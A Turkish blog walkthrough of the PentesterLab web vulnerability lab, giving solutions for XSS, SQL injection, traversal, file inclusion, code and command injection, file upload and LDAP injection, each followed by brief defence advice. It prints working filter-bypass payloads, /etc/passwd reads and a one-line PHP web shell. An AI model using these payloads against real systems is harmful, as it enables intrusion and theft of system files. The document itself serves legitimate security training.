Zafiyetli Web uygulaması olan PentesterLab-Web ücretsiz bir uygulamadır. Kendinizi geliştirmek için indirip, sanal makine olarak kurduktan sonra, sizde kendinizi test edebilirsiniz!
Web uygulamasında bulunan zafiyet başlıkları;
- XSS
- SQL Injection
- Directory Traversal
- File Include
- Code Injection
- Command Injection
- File Upload
- LDAP
Adım adım zafiyetlerden, soru çözümlerinden ve zafiyetten nasıl korunabileceğimizden bahsettim. Umarım sizler için yararlı olur.
XSS
XSS : Cross Site Scripting, zararlı scriptlerin web uygulamalarına enjekte edilmesi ile gerçekleştirilen bir saldırı çeşididir. Saldırgan, web uygulamasına enjekte edeceği zararlı scriptler ile;
- Oturum ele geçirme saldırısı düzenleyebilir
- Hassas bilgiler elde edebilir
- Sosyal medya sitelerinde solucanlar yayabilir
- Dolandırıcılık yapabilir
XSS Zafiyetinin 3 türü bulunmaktadır;
- Reflected(Yansımalı) XSS : Etkisinin direkt olarak görülebildiği ve diğer kullanıcılara etkisi olmayan XSS türüdür.
- Stored(Saklı) XSS: Bu türde enjekte edilen kod, uygulamanın arka kısmında saklanır, dolayısı ile diğer kullanıcıların etkilenebilme ihtimali ortaya çıkar. Reflected XSS’e göre daha tehlikelidir.
- DOM Based XSS : En tehlikeli XSS türüdür. Enjekte edilen kodun cevabı direkt olarak dönmez, tarayıcı sayfayı tekrar yorumladığında dinamik olarak çalıştırılır. DOM Based XSS ile hedef sayfanın kodları değiştrilebilir, zararlı yazılımlar yüklenebilir, kullanıcılar farklı sayfalara yönlendirilebilir.
WordPress tarafından sayfa içeriğine Script tag’lerini yerleştiremiyorum. Bu yüzden bu XSS scriptlerini ekran görüntüsü olarak sizlerle paylaşacağım.
Sayfanın kaynak koduna baktığımızda, URL’de giden değer direkt olarak “sayfanın kaynak koduna” ekleniyor olduğunu görüyoruz.
Example 1 :
example1.php?name=<script>alert("Bum")</script>

Basit bir biçimde XSS’i gerçekleştiriyoruz.
Example 2 :
example2.php?name=<sCript>alert("Bum")</scriPt>

Bir engelleme konulduğu için basit script burada çalışmıyor. Bu sebeple, “Script” taglerinde ki bazı harfleri büyültüyoruz Ve XSS’i gerçekleştiriyoruz.
Example 3 :
example3.php?name=<sc<script>ript>alert("Bum")</sc</script>ript>

Burada anladığımız kadarıyla “1” etiketleri göründüğü anda bu Script tag’leri siliniyor. Bu sebep ile Script taglerinin arasına bir Script tag’i daha yerleştiriyoruz. Burada ki örnekte, normal şekilde yazılan Script tagleri silindiği anda, yarım yazmış olduğumuz Script tag’ları birleşecek ve XSS’i tekrar tetiklemiş olacağız.
Example 4 :
example4.php?name=<body onload=alert("Bum")>

Burada hiçbir şekilde Script tag’leri çalışmamakta. XSS’i sadece “script” tag’leri arasında göndermek zorunda değiliz. XSS sağlamak için farklı tag’lerimizde bulunmaktadır. Bunlardan bir tanesi “body” tag’ıdır.Bu tag içerisinde “onload” özelliği ile birlikte bir fonksiyon çağırarak bu aşamayı tamamlayabiliriz.
Example 5 :
example5.php?name=<script>window.prompt("Bum")</script>

Burada XSS’i, hem script tag’i içinde hem body tag’i içinde denediğimizde sayfa bize Error mesajını gönderiyordu. Sonrasında fark ettik ki Alert fonksiyonumuz engelleniyor. Alert fonksiyonunu yazmadığımız bir payload’ı deneyip, sayfa kodlarına baktığımızda tag’lerimizin sayfa koduna eklendiğini gördük. Yani bu aşamada “Alert” fonksiyonumuzun engellendiğini anlamış olduk. Bu sebep ile Script tag’imizin içinde kullanacağımız farklı bir fonksiyon işimizi halletti ve bu kullandığımız fonksiyon “window.prompt” oldu.
Example 6 :
example6.php?name=hacker";alert("Bum");"

Sayfa koduna baktığımızda, URL’den gönderilen değerin zaten Script tag’leri içinde bir değişkenin içine yazıldığını görüyoruz. Yani burada Script veya Body tag’lerini kullanmamıza gerek kalmıyor.Bize direk script taglerinin arasına yazma imkanı tanınıyor. Alert fonksiyonumuzu direk URL üzerinden göndererek çalıştırtabiliriz. Tabii bunun için, açıkta olan Tırnakları kapatıp, o satırı noktalı virgül ile bitirmeliyiz.
Example 7 :
example7.php?name=hacker';alert('Bum');'

Sayfa koduna baktığımızda, önceki örnekten biraz farklı olarak Çift tırnak(“) yerine Tek tırnak(‘) kullanıldığını görüyoruz. Bir önceki örnekteki payload’ımızda ufak değişiklikler ile XSS’i tekrar tetikliyoruz.
Example 8 :
example8.php/"><Script>alert("Bum")</script>

Bu aşamada durum biraz farklılaşıyor. Direk olarak kullanıcıdan veriyi URL üzerinden almak yerine, bir form aracılığıyla alıp, sayfaya geri döndürmektedir ve aldığı bilgiyi encode etmektedir. Burada dikkatimizi çeken şey ise girdi alındıktan sonra formun tekar kullanıcıya döndürülmesidir. Bu da PHP_SELF fonksiyonu ile sağlanmıştır. PHP_SELF fonksiyonu, o an çalıştırılan kodun URL’den yolunun alınıp tekrar kaynak kod içerisine yazılmasını sağlar. Bizde bu imkandan yarlanarak XSS’i tetiklemeye çalışacağız ve URL üzerinden kodumuzu göndererek işlemi tamamlayacağız.
Example 9 :
example9.php#<script>alert("Bum")</script>

Bu aşamada DOM XSS bulunmaktadır. URL’de gördüğümüz # sembolünden sonrası HTML dosyasında ki bir objede değişiklik yapabilmemizi sağlar. URL üzerinden bu scripti gönderdiğimizde XSS’i tetiklemiş olacağız. İlk başta URL’den bu payloadımızı gönderdiğimizde XSS tetiklenmeyecek fakat sayfayı yenilediğimiz anda XSS tetiklenmiş olacak. Bunun sebebide sistemin dinamik olarak çalışıyor olması. (Explorer hariç diğer browserlarda yapamadım nedense.)
XSS’Den Korunma : XSS Zafiyetinden korunabilmek için en geçerli yöntemlerden biri HTML Entitiy Encoding tekniklerini kullanarak “ # & ‘ ( ) ; / < > gibi karakterlerin encode edilmesidir. Modern framework’lerin birçoğu otomatik olarak bu kodlamaları yapmaktadır. Diğer bir yaklaşım olarak Beyaz Liste(White List) kullanılabilir ve sadece istenilen değerler kabul edilir. Örnek olarak, uygulamada kullanıcıdan ülkesi istendiğinde, kullanıcıdan kendi girdisini yazmasını istemek yerine DropDownList kullanılabilir.
SQL Injection
SQL Injection : Veri tabanı kullanan uygulamalarda görülen bir zafiyet çeşididir. Saldırgan, kullanıcıdan alınan girdi kısımlarına, kendi oluşturduğu zararlı SQL sorgularını girerek veri tabanında beklenmedik ve istenmedik durumlara yol açabilir. SQL dili bir çok veritabanında ortak olarak kullanıldığı için sık karşılaşılan bir zafiyettir. SQL Injection zafiyeti kullanılarak;
- Önemli bilgiler çalınabilir,
- Verileri ve/veya veri tablolarını silebilir
- Kullanıcılar siteyi ziyaret ettiğinde çalışacak zararlı kodlar enjekte edebilir(DOM)
Example 1 : Adres çubuğunda ?name=root gibibir ifade gördüğümüze göre, denemelere başlayabiliriz.
- ?name=root1 : Yazdığımız zaman karşımıza bir kayıt gelmemekte, buradan name ile gönderdiğimiz veri ile veri tabanında bir eşleştirme işlemi yapılmadığını söyleyebiliriz.
- ?name=root” : Yazdığımız zaman yine bir kayıt alamıyoruz.
- ?name=root’ : Yazdığımız zaman karşımıza hiçbirşey gelmemekte. Bu durumda önemli birşeyler bulduğumuzu söyleyebiliriz.
Aldığımız bu tepkiden arkada çalışan kodun;
SELECT * FROM kullanicilar WHERE name=’[ORNEK]’;
Gibi olduğunu anlayabiliyoruz. Bu durumda;
?name=root’ AND ‘1’ = ‘1
?name=root’ OR ‘1’ = ‘1
İfadeleri ile kullanıcılarla ilgili sonuçlar döndürebiliriz.
Example 2 : Bu örnekte, ilk örnekte kullandığımız girdiyi işlediğimizde bize “ERROR NO SPACE” hatası dönüyor. Uyarı mesajından anlayabileceğimiz gibi boşluk kullanmamız istenmiyor. Bu önlemi atlatabilmek için boşluk karakteri yerine, tab ifadesini(encoded biçimde) kullanabiliriz.
?name=root’%09OR%09’1’=’1
İfadesi ile kullanıcılarla ilgili sonuçlar döndürebiliriz.
Example 3 : Geçtiğimiz örnekte ki girdimizi denediğimizde tekrar “ERROR NO SPACE” hatasını alıyoruz. Önlem olarak TAB ve boşluk karakterleri engellenmiş durumda. Böyle bir durumda ise bypass yöntemi olarak yorum satırlarını kullanabiliriz. Vereceğimiz girdi;
?name=root’/**/OR/**/’1’=’1
İfadesi ile kullanıcılarla ilgili sonuçlar döndürebiliriz.
Example 4 : Bu örnekte gönderilen değerler tırnaklar içine alınmamış, doğrudan integer olarak gönderilmekte. Yani göndereceğimiz değere tırnak koymamız, bilgilere erişmemizi sağlamayacak ve istenmedik bir durumla karşılaşacağız. Ancak sorgu doğrudan integer bir değer vasıtasıyla yapıldığı için, tırnak koymadan;
?id=2 or 1=1
İfadesi ile kullanıcılarla ilgili sonuçlar döndürebiliriz.
Example 5 : 4. Örnekte kullandığımız girdiyi aynı şekilde kullanarak yine kullanıcılarla ilgili sonuçlar döndürebiliriz.
Example 6 : ?id=2’ şeklindeki kullanımda ERROR INTEGER REQUIRED isimli bir hata alıyoruz. Fakat ?id=’2 kullanımında bize hiç bir şey döndürülmemekte. Buradan yapılan sorguda, girilen değerin sonuna bakılarak bir Integer kontrolü yapıldığını anlayabiliriz.
?id=2 or 1=1
İfadesini kullanarak kullanıcılarla ilgili sonuçlar döndürebiliriz.
Example 7 : Bu örnekte yine bir integer kontrolü yapılmaktadır. Ancak bu örnekte sadece sonu değil tüm satırdaki ifade kontrol edilmektedir. Tüm satırda integer kontrolü yapıldığı için, bu tür bir önlemi atlatabilmemiz için bir alt satıra geçmemiz yeterli olacaktır. \n olarak adlandırdığımız new line ifadesini encoded biçimde (%0A) girdimizi verdiğimiz zaman;
?id=2%0Aor1=1
İfadesini kullanarak kullanıcılarla ilgili sonuçlar döndürebiliriz.
Example 8 : Bu örnekte ORDER BY sorgusu kullanıldığı belli oluyor. Ama ORDER BY, sql sorgusunun en sonunda olduğu için bir işimize yaramayacaktır. Herhangi bir yere sıçrayarak veri elde edemeyiz. Bu sadece SQL Injection var diyebileceğimiz bir alandır.
=name` desc %23
İfadesini kullanarak kullanıcılarla ilgili sonuçlar döndürebiliriz.
(Burada kullanılan tırnak “ALTGR” + “;” ile yapılan tırnaktır)
Example 9 : Bir önceki örnektekinin aynısıdır, fakat burada tırnak kullanmamıza gerek yok.
=name desc %23
İfadesini kullanarak kullanıcılarla ilgili sonuçlar döndürebiliriz.
(Sondaki %23 ifadesi # işaretinin encode edilmiş halidir. # İfadesi ise Mysql’de yorum satırı demek olduğu için, ondan sonraki tüm ifadeler geçersiz kılınacak ve bu şekilde syntax hatasından kurtulmuş oluyoruz.
SQL Injection’dan Korunma : Korunabilmek için alınan önlemlerden birisi, SQL İfadelerini parametre kullanarak göndermektir. Bir başka korunma yöntemi olarak Object Relational Mapping(ORM) frameworklerinde bulunan veri manipüle teknikleri kullanılabilir. ORM araçlarının bir çoğu, geliştiriciler yerine SQL sorgularını arkaplanda kendileri oluştururlar.
Directory Traversal
Directory Traversal : İzin verilmeyen dizinlere erişim sağlanması olarak özetlenebilir. Bu saldırı türü, uygulamanın göstermesi gereken dizinlerden başka dizinlere de ulaşabilmeyi hedefler. Saldırgan URL kısmında verilen parametreleri manipüle ederek sistemde bulunan hassas dizinlere ve dosyalara erişebilir. Directory Traversal oldukça ciddi hasarlara yol açabilecek bir saldırı türüdür.
Example 1 : Örneğin yanında bulunan resmin üzerine sağ tıklayıp, adresine baktığımızda IP adresinden hemen sonra gördüğümüz ifade “/dirtrav/example1.php?file=hacker.png” oluyor. File= ifadesinden sonra ./ koyduğumuzdada aynı ifadeyi görebiliyorsak burada DirectoryTraversal zafiyetinin olduğunu söyleyebiliriz. Linux/Unix sistemlerde ../ ifadesi bir üst dizini ifade eder. Hassas bilgiler içeren /etc/passwd dosyasına erişmek için bu örnekte;
IPAdresi/dirtrav/example1.php?file=../../../../../../etc/passwd
Yapmamız gerekiyor.
Example 2 : Bu örnekte resimin olduğu adres doğrudan gösterilmekte. Ancak direkt olarak Files= dan sonrasına ../../../etc/passwd yazdığımızda bu dizine erişemiyoruz. Bu kısımda basit bir PHP kontrolünün olması muhtemel. Ama bu örnekteki linkimiz IPAdresi/dirtrav/example2.php?file=/var/www/files/hacker.png şeklindedir.
Burada hacker.png yazısını silip, sonrasında üst dizine geçme işlemlerini yaptığımızda, istedğimiz /etc/passwd dizinine erişimimiz oluyor.
/dirtrav/example2.php?file=/var/www/files/../../../../../../etc/passwd
Example 3 : Bu örnekte ise ‘hacker’ dosyasının bir uzantısı görünmüyor, direkt olarak ismi ile gözükmekte. Uzantı olarak “.png” sunucu taraflı kodda eklenmekte ve böylelikle “hacker.png” gösterilmektedir. Yani ilk 2 örnekte yaptığımız gibi DirectoryTraversal yapmaya çalıştığımızda ../../../../../../etc/passwd.png olarak URL’de gitmektedir. Bu sebep ile dizine erişemeyiz. Bu önlemide PHP’de NULL BYTE olarak adlandırılan %00 ifadesi ile atlatabiliriz. %00 ifadesinden sonra gelen eklerden kurtulmuş olacağız ve böylelikle etc/passwd dizinine erişebileceğiz. Girdimiz şu şekilde olacak yani ;
/dirtrav/example3.php?file=../../../../../../../../../etc/passwd%00
Directory Traversal’den Korunma : Directory Traversal saldırılarından korunmanın ilki, kullanıcı girdilerini filtrelemektir. Dosya isimlerini, belirlenen güvenli karakterlerden başka karakterler kullanmadan adlandırmak ve bu dosyalara yapılabilecek referansları sadece belirlenen güvenli karakterler ile olmasını sağlamak ilk seçeneğimiz olabilir. Başka bir çözüm olarak ise Content Management System (İçerik Yönetim Sistemi) uygulaması ile de bu saldırıya karşı savunma sağlayabiliriz.
File Include
File Include : File Include saldırısı, saldırganın hedef web uygulamasına bir dosya dahil etmesine ya da hedef web uygulamasının kendinde olan ama sunmadığı bir dosyayı görüntüleyebilmesine denir. Kullanıcıdan alınan girdilerin kontrol edilmemesi sonucu oluşan ‘Dosya Dahil Etme’ saldırıları, DirectoryTraversal gibi ciddi problemlere yol açabilir. Local File Include(LFI) ve Remote File Include(RFI) olarak ikiye ayrılır. LFI zafiyetinde lokalde bulunan bir dosya okunur ve yorumlanır. RFI zafiyetinde ise uzaktan bir dosya alınır ve yorumlanır. PHP’de varsayılan olarak uzaktan dosya alımı kapalıdır, ancak bazı uygulamalarda özel olarak açılmış olabilir.
Example 1 : Bu örneğimizde, “intro.php” yerine farklı bir girdi verdiğimizde bize oldukça faydalı bilgiler veren bir uyarı görüyoruz. Bu uyarıdan:
/var/www/fileincl/example1.php yolunu
Kullanılan fonksiyonun include() olduğunu
Verdiğimiz girdinin herhangi bir kontrol yapılmadan kullanıldığı
Gibi önemli bilgileri alıyoruz. Örnekte, girdi kontrolü olmadığı için Directory Traversal örneklerinde kullandığımız ../../../../etc/passwd girdisini vererek yine passwd dosyasına ulaşabiliriz.
Bu örnekte vereceğimiz girdi htttps://www.google.com.tr gibi bir adres olduğunda ise sayfanın bunu çalıştırdığını görüyoruz. Buradan da RFI(Remote File Include) zafiyetinin olduğunu anlayabilmekteyiz.
Example 2 : Bu örnekte yine bir veri girdiğimizde sunucu tarafında girdimize .php eklendiğini görüyoruz. Bu önlemi de daha önce öğrendiğimiz NULL BYTE karakteri ile aşabiliriz.
../../../../../etc/passwd%00 (LFI)Local File Include
https://www.google.com.tr%00 (RFI) Remote File Include
File Include’den Korunma : Directory Traversal’da olduğu gibi, bu saldırıda da kullanıcı girdilerinin kontrol edilmesi gereklidir.
Code Injection
Code Injection : Bu zafiyette, kullanıcıdan alınan girdilerin kontrol edilmemesinden kaynaklanan bir zafiyettir. Mantık olarak SQL Injection ile çok benzer olan Code Injection, son derece tehlikelidir. Nasıl SQL Injection zafiyetinde girdi olarak SQL Kodları veriliyorsa, Code Injection zafiyetinde de, Web sitesinin kullandığı programa dilinde kodlar girilir.
Example 1 : Bu örnekte, name’e verilen değer sunucu tarafında ekrana bastırılacak şekilde ayarlanmış ve sonuna üç tane ünlem işareti konulmuş. Name’e verilen hacker ifadesinin sonuna çeşitli özel karakterler koyarak bir tür hata almaya çalıştığımızda, Çift tırnağın işimizi gördüğünü anlıyoruz. Yani çift tırnak koyduğumuzda bir hata mesajı alıyoruz. Bu hangi karakterde hata alacağımız, örneklere göre vs. değişir. Name=hacker’in sonuna “ karakterini ekledikten sonra, ; ifadesi ile ilk sorguyu sonlandırıp, arkasına istediğimiz kodları yazdığımızda bu kodlar sunucuda çalışacak ve yazdığımız kodlara göre bize dönüş verecektir.
hacker”; echo “Bum”;//
İfadesi ile Code Injection yapmış oluruz.
Kodun sonuna eklemiş olduğumuz “// ” karakterleri ile kalan kodları yorum satırı olarak görmesini sağlamakta ve kodumuz gerektiği gibi çalışmakta. Zafiyet tespitinden sonra sunucu tarafında gerçekleştirilecek saldırılar kullanılan programın diline ve saldırganın hayal gücüne bağlı kalıyor.
Example 2 : Bu örnekte, yine çift tırnak kullandığımızda aldığımız hata mesajında, kullanılan PHP fonksiyonun “Usort()” olduğunu görüyoruz. Usort fonksiyonu, SQL de kullanılan ORDER BY fonksiyonuna benzer bir fonksiyon. Kısa bir araştırma sonra bu fonkisyonun nasıl çalıştığını görüp anladıktan sonra, kodu enjekte edebiliriz.
id);}echo “uyarivermesineragmencalisiyor”;//
Aldığımız uyarıya rağmen echo ile verdiğimiz değer ekrana basılıyor.
Example 3 : Bu örnekte, “pattern” değerine farklı bir değer gönderdiğimizde bir uyarı alıyoruz. Ve buradan kullanılan fonksiyonun “preg_replace()” olduğunu görüyüoruz. Yaptığımız araştırma sonucunda preg_replace() fonksiyonunda bir özel durum olarak şablon ifadesinden sonra /e kullanıldığında, bir sonraki değişken ile gelen ifadeler PHP tarafından fonksiyon olarak yorumlandığını öğreniyoruz. Buna uygun olarak vereceğimiz girdi;
new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer
bu şekilde verdiğimiz girdi sayesinde, phpinfo() fonksiyonunu çalıştırtarak sistem hakkında bilgileri öğrenebiliyoruz.
Example 4 : Bu örnekte denemelerimizi yaparken, tek tırnak kullandığımızda bir hata alıyoruz ve bu hata sayesinde kullanılan fonksiyonun assert() olduğunu öğreniyoruz. Söz dizim yapısını bozduğumuz zaman, geriye kalan tek şey istediğimiz şekilde tekrar düzeltmek. Yine fonksiyonun nasıl çalıştığı hakkında yaptığımız araştırmadan sonra vereceğimiz girdi;
hacker’.phpinfo().’
Sonucunda sistem bilgisini yine ekrana yazdırmış olacağız.
Code Injection’den Korunma : Kullanıcı girdi kontrolüne dikkat edilmelidir.
Command Injection
Command Injection : Sistem komutlarını girdi olarak alan bir uygulamanın gerekli filtrelemeleri yapmaması durumunda ortaya çıkar. Bir çok web uygulama zafiyetinde olduğu gibi Command Injection’da da gerekli kontroller sağlanmadığı takdirde ciddi zararlara yol açabilecek bir zafiyet türüdür. Command Injection saldırılarında, uygulamanın üzerinde çalıştığı işletim sistemine göre çalıştırılan kodlarda farklılık gösterecektir.
Example 1 : Bu örnekte verilen IP adresine ping atıldığını görüyoruz. Bu örnekte herhangi bir önlem alınmadığı için istenilen komutu sistem üzerinde çalıştırabiliyoruz. Girdimiz şu şekildedir;
ip=127.0.0.1;cat /../../../../../../etc/passwd
etc/passwd dosyasını bu şekilde okumuş olduk. İstersek başka Linux komutlarını da bu şekilde çalıştırılabilir.
Example 2 : Bu örnekte ise aldığımız çıktı sonuçlarına baktığımıza göre IP adresi kontrol ediliyor. Ama bu kontrol sadece tek satırda yapılıyor. %0a komutu ile bir alt satıra geçip tekrar girdimizi verdiğimizde bu önlemi de atlatabiliyoruz. Verdiğimiz girdi şu şekilde;
ip=127.0.0.1%0acat /../../../../../etc/passwd
bu girdi ile etc/passwd dosyasını görüntüleyebilmiş olduk.
Example 3 : Bu örnekte, ikinci örnekte kullandığımız girdiyi verdiğimiz zaman, bir redirect(Yönlendirme) işlemine tabi tutulduğunu görüyoruz. İstek sonucunda URL’miz yine ip=127.0.0.1 olarak kalmakta. Bu durumda tarayıcımız üzerinden verdiğimiz girdilerin çalışıp, çalışmadığını göremiyoruz. İşlerin nasıl ilerlediğini görebilmek için bir GET isteği yollamayı deneyelim.
Bu işlem için “telnet” kullanacağım, başka araçlar da kullanılabilir. Verilecek olan komut;
telnet ‘pentesterlab-web IP adresi’ 80
telnet ile bağlantı yaptıktan sonra GET isteğimizi yollayalım;
GET http://ipadresi/commandexec/example3.php?ip=127.0.0.1;cat /../../../../../etc/passwd
Bu isteği yaptırdıktan sonra, etc/passwd dosyasını görüntüleyebilmiş olduk.
Command Injection’dan Korunma : Bu zafiyette alınabilecek önlem, Header fonksiyonunun kullanımından sonra Die fonksiyonu kullanılabilir. Bu şekilde ilk işlemden sonra verilen ikinci komut işleme alınmayacak ve olası zararlı komutlar sistemde çalıştırılmayacaktır.
File Upload
File Upload : Herhangi bir formda dosya yüklenebilen sitelerde bulunabilen File Upload(Dosya Yükleme) saldırıları, sunucu üzerinde kod çalıştırmaya yol açabilip, uygulamaya ciddi zararlar verme potansiyeline sahiptir. Web sitesi hangi programlama dili ile yazıldıysa ona göre o dosyalar hazırlanıp kullanılmalıdır. Site PHP ise, .php’li dosyalarda kodlarımızı yazıp, sunucu üzerinde ataklar yapabiliriz.
Example 1 : Bu örneğimizde herhangi bir koruma bulunmamaktadır. Bu yüzden kendi isteğimize göre bir PHP dosyası oluşturup, upload edeceğiz ve php dosyamızda bulunan kodlarımızı sunucu üzerinde çalıştırmış olacağız. Oluşturduğumuz php dosyasında şu girdi olabilir;
<?php
System($_GET[“cmd”]);
?>
Bunu test.php olarak kaydettiğimizi düşünelim. Bu dosyası siteye upload ettikten sonra bizi yüklediğimiz dosyaya götüren linke tıklıyoruz. Bu noktada bir uyarı aldığımızı görüyoruz ama bu sorun değil. URL üzerinde şu şekilde devam edip;
Test.php?cmd=cat /etc/passwd
Kırmızı işaretlediğim yer, linkte olmayan, sonradan benim yazmış olduğum payload. Bu şekilde passwd dosyasını görüntüleyebilmiş olduk.
Example 2 : Bu örnekte ise dosya uzantısı PHP olan dosyamızı upload edemiyoruz. Anlaşıldığı kadarıyla burada Blacklist yaklaşımı kullanılmış. Aynı dosyanın sonunu php?,php3,php4,phtml gibi değiştirerek upload edebilir ve kodumuzu sunucu üzerinde çalıştırabiliriz. PHP yorumlayıcısının kabul ettiği herhangi bir uzantı işimizi görmeye yetecektir.
Test.php3?cmd=cat /etc/passwd
File Upload’dan Korunmak : Dosya uzantılarında WhiteList yaklaşımı kullanılabilir. Fakat bu yaklaşım her zaman yararlı olmayacaktır. Dosyanın içindeki header kısmından içerik tipinin kontrol edilmesi veya dosya tipi kontrol eden uygulamaların kullanılması, bu saldırılardan korunmamıza yardımcı olacaktır.
LDAP
LDAP : Lightweight Directory Access Protocol. TCP/IP üzerinde çalışan dizin servislerini sorgulamaya ve değiştirmeye yaran bir protokoldür. LDAP saldırıları kullanıcıdan alınan LDAP ifadelerini istismar ederek gerçekleştirilir. LDAP kendine öz sözdizimi(syntax) yapısına sahiptir.
Example 1 : Birinci örnekte URL’den anladığımız kadarıyla bir LDAP sunucusuna bağlanıyoruz ancak görülen o ki girilen bilgiler yanlış ve bununla ilgili bize bir hata döndürülmüş. Bazı LDAP sunucuları, NULL Bind denilen bağlantı şekline izin vermektedirler. Örnek ldap_bind fonksiyonu;
$ldapusername=’username’;
$ldappass=’password’;
$ldapbind = ldap_bind($ldapconnect, $ldapusername, $ldappass);
Olarak verilebilir. Ancak parametrelerin değerlerini boş bırakmak (“username=&password= “ şeklinde URL üzerinden istek yapmak) işe yaramayacak. Çünkü bu şekilde username ve password’u boşluk olarak iletmiş oluyoruz. Bu adımda tüm parametreleri sildiğimizde AUTHENTİCATED mesajını almış olacağız yani girişimiz onaylanmış olacak;
IP Adresi/ldap/example1.php?
Olarak isteğimizi yaptığımızda direk oturum açmış olacağız.
Example 2 : İkinci örneği çözebilmek için LDAP’in sözdizim yapısına bakmamız gerekmekte. LDAP ile bir üye getirirken kullanılan yapı;
(cn=[INPUT])
‘*’ karakteri LDAP’te kelimenin sonunu tamamlamak için kullanılabilir. Örneğin a* karakteri a ile başlayan tüm kayıtları gösterir. URL’de gözüken username kısmına, ‘hacke*’ koyduğumuzda hacker olarak AUTHENTICATED yani oturum açabilmiş oluyoruz. Bunun sebebi, girdimizi hacke ifadesinden sonra gelebilecek tüm ihtimalleri kabul edecek şekilde ayarlamış olmamız. SQL Injection’da kullandığımız Boolean mantığını (OR 1=1) kullanarak girdimizi ayarlarsak, herhangi bir şifre verip hacker olarak giriş yapabiliriz. Gireceğimiz girdi;
name=hacker)(cn=”))%00&password=artikonemlidegil
Bu girdi ile hacker hesabında oturum açmış olacağız. cn ifadesine ne verirsek verelim kabul edeceği şekilde ayarladık. %00 ifadesi ile de sonrasında gelen ifadeleri geçersiz kılmış olduk.
LDAP’dan Korunma : Kullanıcı girdi kontrolünü yapmalıyız.
0x003
Bir Cevap Yazın